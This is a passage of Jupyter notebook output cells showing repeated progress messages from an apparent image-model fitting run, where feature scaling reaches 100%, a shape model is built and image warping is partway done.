"output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 42%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 42%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 43%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 43%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 44%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 44%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 45%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 45%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 45%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 46%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 46%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 47%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 47%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 48%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 48%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 48%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 49%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 49%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 50%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 50%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 51%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 51%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 51%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 52%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 52%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 53%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 53%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 54%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 54%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 54%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 55%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 55%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 56%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 56%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 57%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 57%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 57%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 58%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 58%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 59%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 59%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 60%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 60%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 60%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 61%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 61%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 62%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 62%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 63%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 63%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 63%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 64%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 64%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 65%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 65%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 66%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 66%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 66%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 67%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 67%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 68%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 68%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 69%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 69%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 69%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 70%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 70%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 71%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 71%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 72%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 72%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 72%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 73%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 73%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 74%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 74%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 75%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 75%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 75%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 76%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 76%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 77%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 77%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 78%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 78%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 78%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 79%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 79%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 80%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 80%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 81%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 81%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 81%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 82%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 82%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 83%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 83%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 84%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 84%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 84%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 85%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 85%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 86%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 86%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 87%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 87%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 87%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 88%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 88%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 89%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 89%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 90%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 90%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 90%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 91%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 91%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 92%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 92%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 93%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 93%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 93%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 94%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 94%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 95%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 95%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 96%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 96%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 96%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 97%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 97%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 98%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 98%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 99%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 99%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 100%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Building shape model" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 0%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 0%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 1%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 1%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 2%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 2%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 3%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 3%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 3%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 4%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 4%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 5%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 5%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 6%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 6%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 6%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 7%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 7%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 8%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 8%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 9%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 9%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 9%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 10%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 10%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 11%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 11%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 12%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 12%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 12%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 13%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 13%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 14%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 14%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 15%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 15%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 15%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 16%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 16%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 17%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 17%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 18%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 18%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 18%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 19%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 19%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 20%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 20%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 21%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 21%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 21%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 22%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 22%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 23%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 23%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 24%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 24%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 24%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 25%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 25%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 26%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 26%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 27%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 27%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 27%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 28%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 28%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 29%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 29%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 30%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 30%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 30%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 31%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 31%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 32%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 32%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 33%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 33%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 33%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 34%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 34%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 35%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 35%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 36%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 36%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 36%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 37%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 37%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 38%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 38%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 39%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 39%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 39%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 40%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 40%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 41%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 41%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 42%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 42%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 42%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 43%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 43%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 44%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 44%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 45%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 45%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 45%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 46%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 46%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 47%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 47%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 48%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 48%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 48%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 49%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 49%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 50%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 50%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 51%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 51%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 51%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 52%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 52%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 53%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 53%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 54%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 54%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 54%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 55%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 55%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 56%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 56%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 57%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 57%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 57%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 58%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 58%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 59%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 59%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 60%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 60%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 60%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 61%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 61%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 62%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 62%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 63%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 63%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 63%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 64%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 64%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 65%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 65%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 66%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 66%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 66%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 67%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 67%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 68%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 68%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 69%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 69%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 69%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 70%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 70%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 71%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 71%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 72%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 72%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 72%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 73%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 73%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Warping images - 74%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: 